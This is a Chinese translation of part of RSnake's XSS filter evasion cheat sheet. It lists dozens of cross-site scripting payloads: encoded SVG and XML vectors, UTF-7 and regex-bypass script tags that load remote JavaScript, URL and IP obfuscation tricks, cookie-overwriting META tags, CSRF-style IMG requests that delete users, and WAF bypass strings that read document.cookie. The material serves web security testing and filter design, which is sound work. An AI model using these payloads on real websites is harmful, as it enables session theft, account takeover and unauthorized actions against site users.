<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> |
使用ActionScript来混淆你的XSS payload
a="get";
b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d); |
利用XML数据与CDATA区段混淆进行XSS
这个XSS payload仅限于IE和Netscape8.1中的IE渲染引擎中工作(由于Sec Consult在对yahoo进行审计时候发现这个payload)
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> |
利用XML的embedded方法在本地XML中嵌入Javascript
这与上述相同,在本地托管(必须在同一台服务器上)包含你的XSS payload的XML文件.具体看示例;
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> |
利用XML中加入HTML+Time元素完成XSS
这就是Grey Magic攻击hotmail和yahoo!的方法,这仅限于IE和Netscape8.1中使用,并记住,需要在HTML和<BODY>标签之间使用;
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> </BODY></HTML> |
通过简单修改字符去绕过过滤器对”.js”的过滤
可以将XSS payload的Javascript文件重命名为图片文件命名规则.
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT> |
SSI(服务端包含)进行XSS
这需要在服务器上安装SSI,这样才能使用这个XSS payload.可能不需要提及这一种攻击方法,如果攻击者可以在服务器上执行命令,那么这个安全问题就更严重了.
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"--> |
利用PHP完成XSS
需要在服务器上安装php才能使用XSS payload.再次提醒下,如果你可以像这样远程运行任意脚本,那么可能有更多可怕的安全问题;
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?> |
利用IMG标签嵌入命令执行XSS
它是需要用户认证后才可以执行命令的当前域页面。它将可以用于创建或者删除用户(如果访问者是管理员),或是在其他地方发送凭证等等,虽然较少被使用,但非常有效的。
译者注:可以理解为类似CSRF那种操作.
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> |
利用IMG标签嵌入命令执行XSS part II
这是一种更加可怕地攻击,因为没有看起来可以区别的标示符,而且它也不用放在被攻击者网站上.攻击向量使用302或304来跳转图片到一个命令地址.一个正常的<IMG SRC="httx://badguy.com/a.jpg">能够成为一个攻击工具,来执行相应的攻击命令.下面一个在Apache上的用来进行攻击的.htaccess文件的内容(感谢Timo提供)::
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser |
Cookie篡改
我承认这是一种很隐蔽的攻击方式,但我曾经见过一些示例:页面允许<META>标签,你可以用它来覆盖cookie.还有一些其他的示例:页面不是从数据库中取用户名,而是从cookie中读取.这两个场景相结合的情况下,你可以修改受害者的cookie,让你的XSS payload可以在页面上执行(同样你可以用它来改变用户状态,让它们以你的身份登录等):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> |
利用UTF-7编码进行XSS
如果页面存在XSS并且没有提供页面编码或者浏览器设置为UTF-7编码,页面就能遭到这种攻击(感谢Roman Ivanov).在现代浏览器中,除非修改编码类型,否则这种攻击是不会产生的(Watchfire在google的404脚本中发现了这个漏洞)
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- |
使用HTML引用封装进行XSS
这个在IE测试过,视情况而定.对于允许”<script>”标签,但不允许通过”<SCRIPT SRC...”(正则表达式为:”/<script[^>]+src/I”),这种情况就可以考虑下此payload;
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT> |
对于允许”<script>”标签,但不允许”<script src …>”站点上执行XSS payload正则表达式为
” /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i”,(这个很重要,因为这种正则匹配很常见.)
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT> |
另外一个绕过类似这种正则过滤绕过,XSS payload.
(” /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i”)
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT> |
最后一种绕过这种正则过滤,XSS payload,使用重音符(它无法在firefox下使用).正则表达式为:
“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i”;
<SCRIPT a=> SRC="httx://xss.rocks/xss.js"></SCRIPT> |
这个XSS paylodad,会引起正则表达式不会匹配引号,同时发现会引起不正确的终止字符串.
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT> |
一个令人担忧的XSS payload
这种XSS payload让我很担忧,因为它几乎无法防御,除非禁用所有动态内容.
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT> |
URL字符串绕过
假定页面不允许出现http://www.google.com/;
利用IP代替域名
<A HREF="http://66.102.7.147/">XSS</A> |
利用URL编码
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> |
利用双字节编码
(注意:还有其他双字节编码方式,具体可以通过后面的IP混淆计算器来获取更多信息)
<A HREF="http://1113982867/">XSS</A> |
利用十六进制编码
你可以在第2个数字看出来,每个数字允许的总大小在240之内.16进制的值是介于0~F之间的.从第3个数字看,前导0的也是不需要的:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> |
利用八进制编码
你可以填充0,但是要保证每个“数字”都不小于4个字符:
<A HREF="http://0102.0146.0007.00000223/">XSS</A> |
利用混合编码
我们混合并匹配基本编码,添加一些制表符和换行符.这些符号需要包含在引号内才起作用.
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A> |
利用协议解析绕过
(//转换为http://能节省一些字符).当空间成为问题时,这是非常方便的方法.也能绕过类似于"(ht|f)tp(s)?://“的正则(感谢Ozh的提供).你可以将"//“改为"\”.你需要保证斜杠在准确的位置,否则有可能被当成一个相对路径.
<A HREF="//www.google.com/">XSS</A> |
利用Google”手气不错” part 1
Firefox使用Google的手气不错功能来根据用户键入的关键字跳转到对应的网站.如果你的攻击页面在一些随机关键词的顶部,你可以使用这个特性来攻击Firefox用户.这利用了Firefox的“keyword:”协议.你可以通过使用若干关键词来达到目的:"keyword:XSS+RSnake”,这在Firefox2.0版本不再有效.
<A HREF="//google">XSS</A> |
利用Google”手气不错” part 2
这里使用了一个只有Firefox支持的小窍门.因为它是基于手气不错功能开发的.这个不支持opera,因为opera认为这是一个利用HTTP基本认证的网络钓鱼攻击.事实上它仅仅是一个畸形的URL.如果你单击这个链接的话,它就会产生作用.不过这个特性在Firefox2.0之后的版本也不支持了:
<A HREF="http://ha.ckers.org@google">XSS</A> |
利用Google”手气不错” part 3
这是一个畸形的Url,只能在Firefox和Opera中起作用.因为它们是基于手气不错功能实现的, 像上面的例子一样,它们需要你的网站在谷歌搜索中排名第一(例如google):
<A HREF="http://google:ha.ckers.org">XSS</A> |
利用删除cnames
结合上面的URL,移除www能节省4个字节:
<A HREF="http://google.com/">XSS</A> |
利用额外点绕过
<A HREF="http://www.google.com./">XSS</A> |
利用Javascript链接地址
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A> |
利用内容替换的payload
假定"http://www.google.com/“被过滤器以编程方式被替换为空.我会使用类似的攻击向量借用过滤器的转换来绕过XSS过滤器从而创建攻击向量.下面是一个帮助创建攻击向量的例子(IE: "java script:”被转换为"java script:”,这在IE、安全模式下的Netscape 8.1+和Opera是有效的);
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> |
字符转义表
下面是<字符在HTML和Javascript中所有组合.大多数不会被浏览器直接执行.但是在很多能够在上述某些特定情况下使用.
<
%3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C |
针对跨站脚本攻击-绕过WAF的方法
一般问题
- 存储型XSS
如果攻击者绕过过滤器发起XSS攻击,WAF将无法防御攻击
- 反射型XSS
Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);// |
基于DOM型XSS
Example: <script> ... eval($_GET[xss]); ... </script>
Exploitation: /?xss=document.cookie |
XSS请求重定向
容易受攻击代码:
...
header('Refresh: 0; URL='.$_GET['param']); ... |
- 此请求WAF将会被拦截
/?param=javascript:alert(document.cookie) |
- 利用编码将绕过WAF,并会在某些浏览器中执行XSS paylod.
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= |
针对XSS bypass WAF的字符串
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)"> <Input value = "XSS" type = text> <applet code="javascript:confirm(document.cookie);"> <isindex x="javascript:" onmouseover="alert(XSS)"> "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> "><img src="x:x" onerror="alert(XSS)"> "><iframe src="javascript:alert(XSS)"> <object data="javascript:alert(XSS)"> <isindex type=image src=1 onerror=alert(XSS)> <img src=x:alert(alt) onerror=eval(src) alt=0> <img src="x:gif" onerror="window['al\u0065rt'](0)"></img> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data:,window.open('https://www.google.com/')></script <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript:alert(document.location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'> <style>//*{x:expression(alert(/xss/))}//<style></style> On Mouse Over <img src="/" =_=" title="onerror='prompt(1)'"> <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <script x> alert(1) </script 1=2 <form><button formaction=javascript:alert(1)>CLICKME <input/onmouseover="javaSCRIPT:confirm(1)" <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> |
利用混淆绕过过滤器
(alert)(1)
a=alert,a(1) [1].find(alert) top[“al”+”ert”](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) top[‘al\145rt’](1) top[‘al\x65rt’](1) top[8680439..toString(30)](1) |
作者和主编
Robert "RSnake" Hansen
贡献者
Adam Lange
Mishra Dhiraj其他备忘录
就不一样介绍了,详情请访问